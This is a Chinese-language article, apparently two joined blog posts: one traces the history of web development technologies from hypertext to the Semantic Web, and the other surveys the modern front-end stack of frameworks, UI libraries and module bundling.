Web 客户端的主要任务是展现信息内容，而HTML语言则是信息展现的最有效载体之一。作为一种实用的超文本语言，HTML的历史最早可以追溯到上世纪四十年代。1945年，Vannevar Bush在一篇文章中阐述了文本和文本之间通过超级链接相互关联的思想，并在文中给出了一种能实现信息关联的计算机Memex的设计方案。Doug Engelbart等人则在1960年前后，对信息关联技术做了最早的实验。与此同时，Ted Nelson正式将这种信息关联技术命名为超文本（Hypertext）技术。1969年，IBM的Charles Goldfarb发明了可用于描述超文本信息的GML（Generalized Markup Language）语言。1978到1986年间，在ANSI等组织的努力下，GML语言进一步发展成为著名的SGML语言标准。当Tim Berners-Lee和他的同事们在1989年试图创建一个基于超文本的分布式应用系统时，Tim Berners-Lee意识到，SGML是描述超文本信息的一个上佳方案，但美中不足的是，SGML过于复杂，不利于信息的传递和解析。于是，Tim Berners-Lee对SGML语言做了大刀阔斧的简化和完善。1990年，第一个图形化的Web浏览器”WorldWideWeb”终于可以使用一种为Web度身定制的语言–HTML来展现超文本信息了。
最初的HTML语言只能在浏览器中展现静态的文本或图像信息，这满足不了人们对信息丰富性和多样性的强烈需求–这件事情最终的结果是，由静态技术向动态技术的转变成为了Web客户端技术演进的永恒定律。
能存储、展现二维动画的GIF图像格式早在1989年就已发展成熟。Web出现后，GIF第一次为HTML页面引入了动感元素。但更大的变革来源于 1995 年Java语言的问世。Java语言天生就具备的平台无关的特点，让人们一下子找到了在浏览器中开发动态应用的捷径。1996年，著名的Netscape 浏览器在其2.0版中增加了对JavaApplets和JavaScript的支持。Netscape的冤家对头，Microsoft的IE 3.0也在这一年开始支持Java技术。现在，喜欢动画、喜欢交互操作、喜欢客户端应用的开发人员可以用Java或JavaScript语言随心所欲地丰富HTML页面的功能了。顺便说一句，JavaScript语言在所有客户端开发技术中占有非常独特的地位：它是一种以脚本方式运行的，简化了的Java 语言，这也是脚本技术第一次在Web世界里崭露头角。为了用纯Microsoft的技术与JavaScript抗衡，Microsoft还为1996年的 IE 3.0设计了另一种后来也声名显赫的脚本语言–VBScript语言。
真正让HTML页面又酷又炫、动感无限的是CSS （Cascading Style Sheets）和DHTML（Dynamic HTML）技术。1996年底，W3C提出了CSS的建议标准，同年，IE 3.0引入了对CSS的支持。CSS大大提高了开发者对信息展现格式的控制能力。1997年的Netscape 4.0不但支持CSS，而且增加了许多Netscape公司自定义的动态HTML标记，这些标记在CSS的基础上，让HTML页面中的各种要素”活动”了起来。1997年，Microsoft发布了IE 4.0，并将动态HTML标记、CSS和动态对象模型（DHTML Object Model）发展成了一套完整、实用、高效的客户端开发技术体系，Microsoft称其为DHTML。同样是实现HTML页面的动态效果，DHTML技术无需启动Java虚拟机或其他脚本环境，可以在浏览器的支持下，获得更好的展现效果和更高的执行效率。今天，已经很少有哪个HTML页面的开发者还会对 CSS和DHTML技术视而不见了。
为了在HTML页面中实现音频、视频等更为复杂的多媒体应用，1996年的Netscape 2.0成功地引入了对QuickTime插件的支持，插件这种开发方式也迅速风靡了浏览器的世界。在Windows平台上，Microsoft将客户端应用集成的赌注押到了1990年代中期刚刚问世的COM和ActiveX身上。1996年，IE 3.0正式支持在HTML页面中插入ActiveX控件的功能，这为其他厂商扩展Web客户端的信息展现方式开辟了一条自由之路。1999年， Realplayer插件先后在Netscape和IE浏览器中取得了成功，与此同时，Microsoft自己的媒体播放插件Media Player也被预装到了各种Windows版本之中。同样值得纪念的还有Flash插件的横空出世：1990年代初期，Jonathan Gay在FutureWave公司开发了一种名为Future Splash Animator的二维矢量动画展示工具，1996年，Macromedia公司收购了FutureWave，并将Jonathan Gay的发明改名为我们熟悉的Flash。从此，Flash动画成了Web开发者表现自我、展示个性的最佳方式。
除了编写HTML页面之外，客户端应用的开发者还可以利用一些成熟的技术将浏览器的功能添加到自己的应用程序中。从1992年开始，W3C就免费向开发者提供libwww开发库。借助libwww，我们可以自己编写Web浏览器和Web搜索工具，也可以分析、编辑或显示HTML页面。1999年， Microsoft在IE 5.0中引入的HTAs（HTML Applications）技术则允许我们直接将HTML页面转换为一个真正的应用程序。从1997年的IE 4.0开始，Microsoft为开发者提供了WebBrowser控件和其他相关的COM接口，允许程序员在自己的程序中直接嵌入浏览器窗口，或调用各种浏览器的功能，如分析或编辑HTML页面等。Windows 98及其后的Windows操作系统甚至还利用WSH（Windows Script Host）技术将原本只在浏览器中运行的JavaScript、VBScript变成了可以在WIN32环境下使用的通用脚本语言，这大概也可算作我们对 Web客户端开发技术的一种巧妙利用吧。
2.服务端技术的成熟与发展
与客户端技术从静态向动态的演进过程类似，Web服务端的开发技术也是由静态向动态逐渐发展、完善起来的。
最早的Web服务器简单地响应浏览器发来的HTTP请求，并将存储在服务器上的HTML文件返回给浏览器。一种名为SSI（Server Side Includes）的技术可以让Web服务器在返回HTML文件前，更新HTML文件的某些内容，但其功能非常有限。第一种真正使服务器能根据运行时的具体情况，动态生成HTML页面的技术是大名鼎鼎的CGI（Common Gateway Interface）技术。1993年，CGI 1.0的标准草案由NCSA（National Center for Supercomputing Applications）提出，1995年，NCSA开始制定CGI 1.1标准，1997年，CGI 1.2也被纳入了议事日程。CGI技术允许服务端的应用程序根据客户端的请求，动态生成HTML页面，这使客户端和服务端的动态信息交换成为了可能。随着 CGI技术的普及，聊天室、论坛、电子商务、信息查询、全文检索等各式各样的Web应用蓬勃兴起，人们终于可以享受到信息检索、信息交换、信息处理等更为便捷的信息服务了。
早期的CGI程序大多是编译后的可执行程序，其编程语言可以是C、C++、Pascal等任何通用的程序设计语言。为了简化CGI程序的修改、编译和发布过程，人们开始探寻用脚本语言实现CGI应用的可行方式。在此方面，不能不提的是Larry Wall于1987年发明的Perl语言。Perl结合了C语言的高效以及sh、awk等脚本语言的便捷，似乎天生就适用于CGI程序的编写。1995 年，第一个用Perl写成的CGI程序问世。很快，Perl在CGI编程领域的风头就盖过了它的前辈C语言。随后，Python等著名的脚本语言也陆续加入了CGI编程语言的行列。
1994年，Rasmus Lerdorf发明了专用于Web服务端编程的PHP（Personal Home Page Tools）语言。与以往的CGI程序不同，PHP语言将HTML代码和PHP指令合成为完整的服务端动态页面，Web应用的开发者可以用一种更加简便、快捷的方式实现动态Web功能。1996年，Microsoft借鉴PHP的思想，在其Web服务器IIS 3.0中引入了ASP技术。ASP使用的脚本语言是我们熟悉的VBScript和JavaScript。借助Microsoft Visual Studio等开发工具在市场上的成功，ASP迅速成为了Windows系统下Web服务端的主流开发技术。当然，以Sun公司为首的Java阵营也不会示弱。1997年，Servlet技术问世，1998年，JSP技术诞生。Servlet和JSP的组合（还可以加上JavaBean技术）让Java开发者同时拥有了类似CGI程序的集中处理功能和类似PHP的HTML嵌入功能，此外，Java的运行时编译技术也大大提高了Servlet和JSP的执行效率–这也正是Servlet和JSP被后来的J2EE平台吸纳为核心技术的原因之一。
3.两种重要的企业开发平台
Web 服务端开发技术的完善使开发复杂的Web应用成为了可能。在此起彼伏的电子商务大潮中，为了适应企业级应用开发的各种复杂需求，为了给最终用户提供更可靠、更完善的信息服务，两个最重要的企业级开发平台–J2EE和.NET在2000年前后分别诞生于Java和Windows阵营，它们随即就在企业级 Web开发领域展开了你死我活的拼争。平台之争让整个Web世界在最近的几年里不得安宁，但从某种意义上说，也正是这种针锋相对的竞争关系促使了Web开发技术以前所未有的速度提高和跃进。
J2EE是纯粹基于Java的解决方案。1998年，Sun发布了EJB 1.0标准。EJB为企业级应用中必不可少的数据封装、事务处理、交易控制等功能提供了良好的技术基础。至此，J2EE平台的三大核心技术 Servlet、JSP和EJB都已先后问世。1999年，Sun正式发布了J2EE的第一个版本。紧接着，遵循J2EE标准，为企业级应用提供支撑平台的各类应用服务软件争先恐后地涌现了出来。IBM的WebSphere、BEA的WebLogic都是这一领域里最为成功的商业软件平台。随着开源运动的兴起，JBoss等开源世界里的应用服务新秀也吸引了许多用户的注意力。到2003年时，Sun的J2EE版本已经升级到了1.4版，其中三个关键组件的版本也演进到了Servlet 2.4、JSP 2.0和EJB 2.1。至此，J2EE体系及相关的软件产品已经成为了Web服务端开发的一个强有力的支撑环境。
和J2EE不同的是， Microsoft的.NET平台是一个强调多语言间交互的通用运行环境。尽管.NET的设计者试图以.NET平台作为绝大多数Windows应用的首选运行环境，但.NET首先吸引的却是Web开发者的目光。2001年，ECMA通过了Microsoft提交的C#语言和CLI标准，这两个技术标准构成了.NET平台的基石，它们也于2003年成为了ISO的国际标准。2002年，Microsoft正式发布.NET Framework和Visual Studio .NET开发环境。早在.NET发布之前，就已经有许多Windows平台的Web开发者迫不及待地利用Beta版本开发Web应用了。这大概是因为，. NET平台及相关的开发环境不但为Web服务端应用提供了一个支持多种语言的、通用的运行平台，而且还引入了ASP.NET这样一种全新的Web开发技术。ASP.NET超越了ASP的局限，可以使用VB.NET、C#等编译型语言，支持Web Form、.NET Server Control、ADO.NET等高级特性。客观地讲，.NET平台，尤其是.NET平台中的ASP.NET的确不失为Web开发技术在Windows平台上的一个集大成者。
4.XML语言及相关技术
如果说HTML语言给Web世界赋予了无限生机的话，那么，XML 语言的出现大概就可以算成是Web的一次新生了。按照Tim Berners-Lee的说法，Web是一个”信息空间”。HTML语言具有较强的表现力，但也存在结构过于灵活、语法不规范的弱点。当信息都以HTML 语言的面貌出现时，Web这个信息空间是杂乱无章、没有秩序的。为了让Web世界里的所有信息都有章可循、有法可依，我们需要一种更为规范、更能够体现信息特点的语言。
1996年，W3C在SGML语言的基础上，提出了XML（Extensible Markup Language）语言草案。1998年，W3C正式发布了XML 1.0标准。XML语言对信息的格式和表达方法做了最大程度的规范，应用软件可以按照统一的方式处理所有XML信息。这样一来，信息在整个Web世界里的共享和交换就有了技术上的保障。HTML语言关心的是信息的表现形式，而XML语言关心的是信息本身的格式和数据内容。从这个意义上说，XML语言不但可以将客户端的信息展现技术提高到一个新的层次，而且可以显著提高服务端的信息获取、生成、发布和共享能力。为了将XML信息转换为HTML等不同的信息展现形式，1999年，W3C制定出了XSLT标准。同一年，IE 5.0增加了对XML和XSLT的支持。
现在，网站的开发者可以直接使用XML语言发布信息了。针对不同的应用领域，人们还制定了许多专门的XML规范。例如，2001年W3C发布的SVG（Scalable Vector Graphics）1.0标准就是一种用XML语言表达的、全新的二维矢量图形格式。开发者可以用SVG格式描述大多数已有的Flash动画。与 Flash格式相比，符合XML标准的SVG格式显然更有利于信息交换和共享。
Web本身就是一个最大的分布式应用系统。对于分布式开发而言，XML技术也大有用武之地。一个明显的事实是，如果能让分布式应用借助XML格式交换信息，那么，以往横亘在分布式架构上的信息交换难题也就迎刃而解了。1999年，W3C和相关的企业开始讨论设计基于XML的通信协议，2000年，W3C 发布SOAP（Simple Object Access Protocol）协议的1.1版。人们把利用SOAP协议传递XML信息的分布式应用模型称为Web Service。2001年，W3C发布了WSDL（Web Services Description Language）协议的1.1版。SOAP协议和WSDL协议共同构成了Web Service的基础。随后，J2EE和.NET这两大企业级开发平台先后实现了Web Service，并将其视为平台的一项核心功能。
Web Service对于Web开发者的重要意义在于，当我们需要在不同的服务端、不同的客户端乃至不同的应用类型、不同的计算设备之间传递信息的时候，以往的分布式开发技术或者因为适应性不强，或者因为扩展能力不足，都难以满足现代Web开发的需要，而Web Service正好填补了这一空白。
5.Web开发框架和应用模型
2000年以后，随着Web应用的日益复杂，人们逐渐意识到，单纯依靠某种技术多半无法达到快速开发、快速验证和快速部署的最佳境界。研究者开始尝试着将已有的Web开发技术综合起来，形成完整的开发框架或应用模型，并以此来满足各种复杂的应用需求。
Microsoft 在客户端的技术集成方面走在了最前面。1998年时Microsoft推出的Windows 98就可以在桌面上集成Web页面，这实际上是将资源管理器和Web浏览器的功能有效地结合了起来。2000年后，Microsoft陆续推出了MSN Explorer和与之相关的MSN在线服务。这一应用模型将Web浏览、视频点播、邮件处理、网上游戏、在线聊天等许多种用户常用的Web功能集成在了一个统一的界面中。从信息利用的角度看，MSN试图让用户在一个最舒适的环境中获取足够的信息，这种努力的确值得人们称道。另一个与客户端技术集成相关的例子是搜索引擎Google在2003年展示给大家的Google工具栏功能。虽然Google工具栏有炒作和广告的嫌疑，但安装Google工具栏之后的IE浏览器将信息浏览和信息检索有机地结合了起来，这种小小的功能改进确实是对用户的体贴和帮助。
在Web服务端，2000年以后出现了几种主要的技术融合方式。首先，越来越多的Web开发环境开始支持MVC（Model-View- Contorller）的设计模型，为开发者提供了全套的开发框架。实际上，J2EE和.NET平台本身就是这种开发框架的典型代表。其次，门户服务（Portal Server）和Web内容管理（Web Content Management）在最近几年里成为了应用集成的重点模型。这两种应用模型可以直接为开发者或最终用户提供构建Web应用的高级平台，可以让Web开发和信息发布工作大为简化。在商业软件领域，这一类应用的例子包括Microsoft的SharePoint、IBM的WebSphere Portal、FileNet的Web Content Manager等等。开源项目在Web开发框架和应用模型方面表现得非常积极，Struts、Jetspeed、jPortlet、Cocoon、 Lenya、XOOPS等都是开源世界里与MVC开发框架、门户服务和Web内容管理相关的优秀解决方案。
当然，技术集成绝不等于技术堆砌。一些Web站点和Web应用的开发者把XML语言、MVC框架等时髦技术拼凑起来，却不管它们是否能适应具体的应用环境，结果，他们的系统要么运行效率低下，要么功能残缺不全。反之，一个值得注意的事实是，像新浪、搜狐或网易这样的门户网站，在他们的信息发布页面（如新闻页面）里，尽管信息内容时刻都在刷新，但Web服务器上存放的始终都是静态的HTML页面。这种”落后技术”的优点是，在大量并发访问的情况下，门户网站的响应速度仍然很快。深入到技术层面，我们通常会惊讶地发现，这些网站使用的大多是自行研发的Web内容管理系统。当网站的内容编辑提交新的信息时，系统会自动将信息转换为 HTML格式，发布到Web服务器集群的每一个结点上。在新浪网的一个角落里，我们可以找到”新浪网站发布系统”的研发历程：
V 1.0（1997）：基于文件的版本，实现新闻首页、正文和专题的发布。
V 1.1（1998/12）：采用数据库后台、实现跨服务器发布，自动化程度高。
V 2.0（1999/3）：创立模版和域的全新概念，奠定了该系列的基本设计思路。
V 2.1（1999/9）：增加周边模块，如搜索、自动采集。
V 3.0（2000/1）：优化传输方式，增加相关新闻和评论。
V 3C（2000/6）：V3.0的编译版，也是商业版的原型。
V 3.1（2000/7）：优化数据库结构，采用内存CACHE大幅提速，增加了集中监控功能。
V 3.1C（2000/8）：商业用测试版本。
V 3.2（正在制作中）：重点解决备份系统的自动化切换，在机制上实现永不宕机。
这一份有趣的历史记录再一次印证了我关于Web开发技术的基本观点：一种技术只要能为用户提供高水平的信息服务，它就是最好、最先进的技术。
6 Web开发技术的未来
所有人都在关心Web的发展前景，所有人都想知道十年以后的Web会长成什么样子。要回答这些问题，没有谁比W3C更有权威了。W3C明确地告诉我们， Web的未来是语义化的Web（Semantic Web）。今天的Web可以自如地生成、传递和展现各式各样的信息，但它还只是一个信息的”容器”，很难揭示出信息本身的内容和特性。与此相对的是，未来的语义化Web是一种懂得信息内容的Web，是真正的”信息管理员”。
从技术角度看，XML语言统一了信息的表达方式，但这离揭示信息内容的目标还相距甚远。1998年，W3C和一些研究机构开始对元数据（Metadata）进行研究。元数据是描述数据的数据，可以揭示信息的内容特性。1999年，NetScape提出的RSS（Rich Site Summary）建议标准是用元数据技术描述新闻等信息内容的第一次尝试。1999年，W3C的研究小组提出了RDF（Resource Description Framework）标准草案。RDF在XML语法的基础上，规定了元数据的存储结构和相关的技术标准。使用RDF语言，我们可以用统一的、可交换的格式揭示出信息本身的各种特性。2001年，W3C又开始着手制定OWL（OWL Web Ontology Language）标准。OWL语言也是一种符合XML标准的语言，它比RDF又前进了一步，可以更加深入、细致地描述信息内容。在RDF和OWL语言的帮助下，我们能让Web上的信息内容变得更容易理解、更便于交换和共享。2003年，W3C成立了语义化Web Service研究小组（Semantic Web Services Interest Group），研究在Web Service中加入语义技术的相关问题。2004年2月，W3C宣布RDF和OWL标准正式成为W3C的建议方案，这标志着语义化Web的大厦已经破土动工。
随着语义化Web的诞生和发展，Web开发技术也必将经历更为重大的变革。可以预见的是，在未来的几年里，还会有许多新的开发技术或开发平台出现。从静态技术到动态技术，从开发平台到应用模型，从传统Web到语义化Web……为了让更多的人获得更有价值的信息服务，Web开发者们也许还会经历一次又一次的技术浪潮，还会面临更为严峻的技术挑战，但这和信息共享的最高目标相比，又算得了什么呢？
 

Web前端应用发展的历史大概经历了三个阶段：第一个阶段使用的是简单的静态页面，第二个阶段使用得是ASP、JSP、PHP等动态脚本语言，第三个阶段是Web2.0阶段，其核心技术是AJAX，同时伴随着SPA的兴起。

SPA vs. MPA
从字面上理解，SPA（单页面应用程序）整个应用只有一个页面，只加载一次Web静态资源，包括HTML+CSS+javascript，在导航过程中不需要重新加载渲染整个页面。而MPA恰恰相反，也就是每个页面都需要独立完整的从后端加载和渲染，早期的网站大多属于MPA。

那么SPA和MPA各自有哪些优缺点呢？
SPA第一次加载页面因为要加载很多静态资源，速度比较慢，但是之后前后端仅仅需要传递纯数据，页面渲染完全由前端完成，既节省了带宽，也提高了渲染速度。MPA则反之，用户的每次导航、提交表单都需要由后端生成一个完整的页面，前后端之间传递了大量重复类似的标记语言文本，通信效率较低。但是由于在首页加载速度上，MPA相对有优势，所以有些应用出于用户体验的考虑，结合server side render和SPA的混合方式。
从系统架构角度考虑，SPA最重要的革新在于实现了前后端的解耦，Server端不必既要考虑业务逻辑又要考虑页面展示，只要聚焦于业务，将前端需要的数据开放出来即可。后端聚焦于数据之后，可以被多种前端所共享，比如Web应用，Mobile应用，甚至是AR/VR等，即所谓的大前端。对于Web前端，因为静态资源都已经加载，导航、渲染等界面逻辑都放在浏览器端，所以可以使用如chrome developer tool或者firebug等工具独立调试。NodeJS的出现，甚至让Web应用开发和业务开发从语言层面进行了完全解耦。
SPA和MPA各有优劣，虽说SPA面临SEO困难，易受XSS攻击等问题，但总体上说，优点多于缺点，问题正在解决，SPA已经成为Web 2.0时代的主流方式。
三驾马车

Web应用万变不离其宗，位于Web技术核心地位的仍旧是HTML、CSS、JavaScript三驾马车。
HTML5提供了更丰富的语义化标签、富媒体支持、离线存储、移动设备支持等特性，支撑了不断涌现的各种业务需求，比如视频网站、网页游戏等。CSS3提供了更加丰富且实用的规范，各种特效、变换等效果增强了网页的表现能力，媒体查询方便了网页适配多种终端。互联网时代，各种应用层出不穷，仅仅依靠HTML和CSS无法满足用户对网页交互和表现能力的需求，JavaScript成为浏览器端最主要的编程语言。
伴随着Web前端业务越来越复杂，开发、调试愈加困难，前端技术在开发维护效率、扩展性、健壮性等内外需求的驱动下出现了各种各样的技术。根据GitHub网站的统计，2017年Javascript相关的pull requests遥遥领先于其他语言，比第二名的Python和第三名的Java的总和还多。人说2017年最火爆的是AI，AI带来Python的空前繁荣，但即便如此又奈我何？

当初，JavaScript之父Brendan Eich借鉴了C语言的语法、Java的内存管理、Scheme语言的函数式编程以及Self的原型链继承思想，仅仅花了10天就设计出这门语言，但仓促的设计导致各种问题饱受诟病，于是有人说JavaScript是一门天生残疾的语言。自1995年诞生之后JavaScript一直缓慢发展，目前最广泛支持的版本是2009年发布的ES5版本，经过了多年的潜心打磨，TC39作为JavaScript官方机构，终于于2015年发布了ES6。ES6做出了很多实质性的升级，比如块变量、class、native promise、模块化等。最近几年，Javascript的版本发布逐渐年度例行化，2016年发布了ES7，2017年发布了ES8，JavaScript正向着标准、高效、简洁、健壮的方向迈进。

前端技术栈
框架是什么？模式是什么？都是不得已而为之的事情。当家里的桌子上堆满了爆米花、手机、内衣、蟑螂药和洗手液的时候，似乎这时候我们应该发明出抽屉，把东西分门别类地归置一下。当用JavaScript手忙脚乱直接操作DOM的时候，JQuery诞生了；当前端代码变得复杂而有章可循时，新框架诞生了；当各种框架、库让人眼花缭乱，无所适从时，包管理、包加载被发明出来；当button、panel、chart做得越来越漂亮时，新的控件库产生了；当bug满地走，调试已经忙不过来的时候，测试框架出现了。框架和类库就是帮我们把一些重复的并且已经受过验证的模式，抽象到一个帮你设计好的封装当中，帮助我们去应对这些复杂的问题。
前端生态是如此昌盛，以致于“前端年年框架出，各领风骚两三年”，没有选择是痛苦的，选择太多也痛苦，最痛苦的是用了一个以后却很快出来另一个更酷的！没有一篇文章能够囊括整个前端生态，只能基于主要业务场景，基于主流方案，有选择地做一些介绍和分析，即便这样，也难免挂一漏万。

下面，将前端技术分解为不同角度和层次来介绍。
* 前端语言
* JS工具库
* 前端MVC框架
* UI框架
* 模块化和打包
* 自动化构建
* 包管理
* 测试工具
* 前后端协议
1. 前端语言
从ES6开始，JavaScript语言本身的标准化和发展进入新阶段。除了一些语法糖，如胖箭头、includes方法、class关键字等，让JS代码更加清爽外，新的extend继承方式、块变量等特性的引入则让JS更加像一门“正常”的语言。
异步操作似乎是JavaScript规范一直在孜孜解决的问题，从最早的回调函数，到Promise，到Generator函数，再到async，这些新特性一方面解决了回调地狱问题，另外一方面也让代码更加符合人类的串行思维方式。如果觉得Promise这种异步处理方式满足不了复杂的应用场景，可以考虑一下RxJS。引用官网的说法：RxJS是使用Observables的响应式编程的库，它使编写异步或基于回调的代码更容易。
尽管有些浏览器不支持ES5以后的JavaScript新特性，但有Babel在，尽管放手使用最新的ES特性。将Babel串到你的构建流程中，它会将新的特性转化为浏览器支持更好的ES5代码。
JavaScript的弱类型经常会导致一些bug，这时候可以使用Flow/JSHint等静态检查工具。为提高代码可读性，可以使用Prettier来美化代码。
TC39的长期不作为，让一批不甘被ES5束缚住手脚的“方言”涌现出来，或者叫flavor，如CoffeeScript、Dart、Elm、TypeScript、Reason等。这些语言的初衷或者是为弥补原生JavaScript语言特性的不足，将一些更高级的语法引入进来，或者直接采用一种更成熟的语法，然后编译为JavaScript。从目前发展来看，CoffeeScript、Dart已经衰落，而TypeScript、Reason正当红，这些语言中一些有价值的特性逐渐被ECMAScript纳入标准，但是是否会取代JavaScript或者多大程度上取代JavaScript还很难说。
上面的各种方言不管如何强大，最后还是要transpile到JavaScript，JS在浏览器端一路高歌猛进，独孤求败，似乎千秋大业已成。但在某个角落，一股反叛力量正在孕育，这就是由谷歌，微软，Mozilla，苹果等公司合作推出的WebAssembly！看看有多反动：“一种全新的跨浏览器Web中间表示层安全代码，为未来浏览器带来一种可执行的标准二进制数据格式，使得越来越多的开发者，不仅仅是JavaScript开发者，甚至是Rust，C#，Go语言的开发者，借助统一的编译机制，预先将这些语言开发的逻辑编译为浏览器可以执行的二进制代码格式，以此提高Web内容的性能和表现能力，同时为更多语言的开发者提供一种为Web开发内容的有效途径。” 注意，WebAssembly是可以在浏览器上直接执行的唯二语言。2017年，Chrome，Firefox，IE，Safari四个浏览器统一通过了WebAssembly的方案。如果说nodejs的出现让JavaScript的开发者能够染指后台开发的话，那么WebAssembly似乎要革了JavaScript的命，动摇了其在浏览器上的霸主地位，很多语言都能直接开发Web应用了。
2. JS工具库和基础库
Underscore和Lodash是非常优秀的JavaScript工具库，提供了非常多的工具方法用于操作集合、数组、方法、对象等。但是，当我们现在进行开发时，很多时候我们利用的方法已经被ES5与ES6所支持了，如果希望减少依赖的话，可以根据目标浏览器来选择不用Lodash或者Underscore。
jQuery曾被誉为Web开发的瑞士军刀，是前端程序员的必备技能，解决了浏览器的兼容性问题，但是对DOM的随意操作会导致程序难以维护。随着各种现代框架的出现，jQuery的风头似乎正被掩盖，在google趋势上从2012年达到最高点后一路走低。不可否认的是，目前以及未来一段时间内，大多数Web应用仍然会依赖jQuery及其相关插件。
其它，跟Underscore和Lodash类似的还有Ramda，跟jQuery类似的有Prototype和Zepto。
为防止数据被无意更改而导致很隐晦的bug，可以考虑用Immutable.js，它可以将数据封装确保状态不被改变。
3. 前端MVC框架
通常前端技术选型最核心的决策点就是所谓的前端MVC框架，网上充斥着这类框架的对比文章，但是孰优孰劣仍然是萝卜白菜，各有所爱，说一句正确的废话就是：框架的选择要因地制宜，根据应用场景和团队实际情况来定。

目前热度最高的三大前端框架是Angular（2.0+）、React和Vue.js。三者都采用了组件化的思想，同一component的html、js、css组织在一起，组件化思想对早期绝对的“关注点分离”则文件分离思想是一定程度的矫正，利于组件的单独开发和复用，减轻了html、js，特别是css的全局污染问题。
Angular是由Google推出的基于TypeScript的MVVM框架，视图和模型双向绑定，通过指令增强模板的表达能力，同时可以自定义组件化的指令，支持依赖注入、注解。由于策略上的问题，Angular2.0不兼容AngularJS 1.0，因此，近两年Angular的活跃度有所下降，然而其内置完备的特性和工具让拥护者们认为它是一个企业级的JS框架。
React由Facebook主推，最显著的特点是一切以JS为中心，HTML和CSS都由JS代码生成，为此，还产生了一种新的语法：JSX，这跟Angular把JS以扩展标签的形式放到HTML中是完全相反的做法。React实现了Virtual DOM，在DOM频繁变化的场景下，性能有不错的表现。另外，React本身主要关注于视图层，并不是一个大而全的框架，由于React认为MVC架构在大规模应用场景下会导致状态的混乱，因此创新地提出了单向数据流（Unidirectional data flow）的概念，出现了状态管理的模式或框架，如Flux/Redux。
Vue.js是三者之中最年轻、最轻量的一个框架，由华裔程序员尤雨溪发起，也是主要关注视图部分，既支持双向绑定也可以单向绑定。Vue.js的模板语法有点类似于Angular，提供了一些内置标签。Vue.js支持单文件组件，也就是将html、js、css写到一个后缀为.vue的文件中，也支持Virtual DOM，性能表现在三者中最好。Vue.js可以使用Redux做状态管理，但也提供了自己的Vuex。
值得一提的是，上面三个主流框架都有对应的移动端方案，比如Angular对应的Ionic，React的React Native以及Vue对应的Weex（阿里开发）。
数据和视图的不同交互方式催生出几个不同的概念：MVC、MVP、MVVM以及单向数据流。
下图是2017年不同国家对几大框架使用情况的调查反馈。

4. UI框架
上一节提到过React和Vue.js都专注于MVC的View，那它们跟UI框架什么区别呢？上一节说的View只关心DOM对象的生成及交互响应，而这一节里面的框架、库则真正决定UI长什么样、是否美观。这里继续细分的话又可以分为CSS框架（包括预处理器）、UI控件库、数据可视化库等等。
所谓CSS框架其实也就是提前写好的一些CSS，只要在你的HTML中加上对应的类，就能展现出CSS应用的效果。CSS框架虽然也很多，但是影响力比较大的仍旧是老牌的Bootstrap、Foundation、Semantic-ui等，可能由于一些公司有内部UI规范或者CSS还没复杂到需要框架的原因，在stateofjs调查中，很多人不用CSS框架。从CSS发展的趋势看，移动优先，响应式布局，支持网格布局和Flexbox技术，这些是最新CSS框架着力发展的方向。
CSS预处理工具的主要目的是弥补CSS语法不够强大，解决书写啰嗦，维护困难等问题。目前最主流的三个预处理器是SASS/SCSS、LESS和Stylus，主要特性是提供了变量、函数和mixin、import以及一些逻辑控制语法等。不同于SASS等工具， PostCSS通过强大的插件体系，可以对CSS进行各种不同的转换和处理，包括语法检查 stylelint 插件、交叉编译sugarss 插件)、命名改编以避免选择器冲突( modules 插件 )、模板 CSS 代码生成( autoprefixer 插件 )、文件压缩等等。
CSS-in-JS是一种用JavaScript编写CSS样式的技术，通过鼓励采用一种通用模式，编写样式以及应用样式的JavaScript组件，使样式和逻辑的关注点得到统一。该领域中的新秀，诸如JSS、emotion和styled-components，依靠工具来将CSS-in-JS代码转化成独立的CSS样式表，从而适合在浏览器里运行。
UI控件库提供诸如Grid、Calendar、Panel、Scheduler等Web控件，常见的如Sencha Ext JS、jQuery UI、KendoUI、ant.d（蚂蚁金服出品）等。除了基础控件库，还有动画库如Popmotion，图标库如Font Awesome等。
数据可视化库提供各种统计图表，如bar chart、timeseries chart、pie chart等，比较有名的是Highcharts和百度开源的Echarts，前者基于SVG，后者基于Canvas。如果这两个库还不够用，可以考虑用D3自造轮子。

除此之外，AR/VR/MR也是近些年比较热的话题，相关技术在游戏娱乐、医疗影像等场景得到越来越多的应用。2017年10月W3C 的WebVR组发布了 WebVR 规范1.1版的初稿，2.0版本正在修订中。与此相关的JS框架、库包括：A-Frame，AR.js，Three.js，Babylon.js等。
5. 模块化和打包
一开始，Web应用还没有这么复杂，JavaScript根本没有模块化的概念，算得上封装的只是function和object，立即执行函数（IIFE）达到了封装私有变量的目的，避免了全局变量受到文件内变量的污染。随着前端应用的发展，命名冲突、依赖复杂导致的问题迫使人们开始考虑模块化的问题。模块系统将互相依赖的多个文件和目录拆分，所有代码都可以按需加载并彼此访问。
最早，伴随着node.js的兴起，CommonJS成功解决了服务器端JS的模块化。但是由于其采用同步加载的方式，加载资源会造成浏览器的“假死”，所以并不适合Web应用的模块化。后来，AMD（异步模块定义）成为浏览器端模块加载的规范，比较流行的库是RequireJS。RequireJS要求模块定义使用define关键字，如下形式：define(['dep'], function(dep){})，模块导入使用require关键字。可见，RequireJS会预先加载依赖，完成后触发回调函数。与RequireJS类似的还有阿里大牛玉伯开发的SeaJS，但模块定义规范不同于AMD，它延续CommonJS规范，称为CMD（公共模块定义）。可惜的是，玉伯承认“现在可以给SeaJS立碑了”。
ES6之后，JavaScript语言本身终于支持模块化了。不需要将所有代码都放在一个IIFE或回调中，只需要在模块中声明需要的内容，所有的声明都被限定在模块的作用域中，对所有脚本和模块全局不可见，然后将需要暴露的模块资源使用export关键字导出，当其它模块依赖此模块时再通过import关键字导入。由于出现较晚，ES6的模块化还不太完善（比如按需加载），浏览器支持也有限，但可以预见，在不远的将来，ES内置的模块化将取代第三方库。
RequireJS/SeaJS可以认为是一种在线“编译”模块的方案，相当于在页面上加载一个AMD/CMD规范解释器。这样浏览器就能解析define，require，exports，module这些关键字，也就实现了模块化。而Browserify/Webpack是预编译模块打包的方案，不需要在浏览器中加载解释器。你在本地直接写JS，不管是AMD/CMD/ES6风格的模块化，它都能编译成浏览器认识的JS。
Webpack已经成为最流行的打包工具，它为所有的静态资源提供单一的依赖树，对JavaScript、CSS等资源进行灵活的操作，并将向浏览器发送内容的数量和次数最小化。其强大之处不仅仅在于它统一了JS的各种模块系统，取代了Browserify、RequireJS、SeaJS的工作，更重要的是它的万能模块加载理念，即所有的资源都可以且也应该模块化。
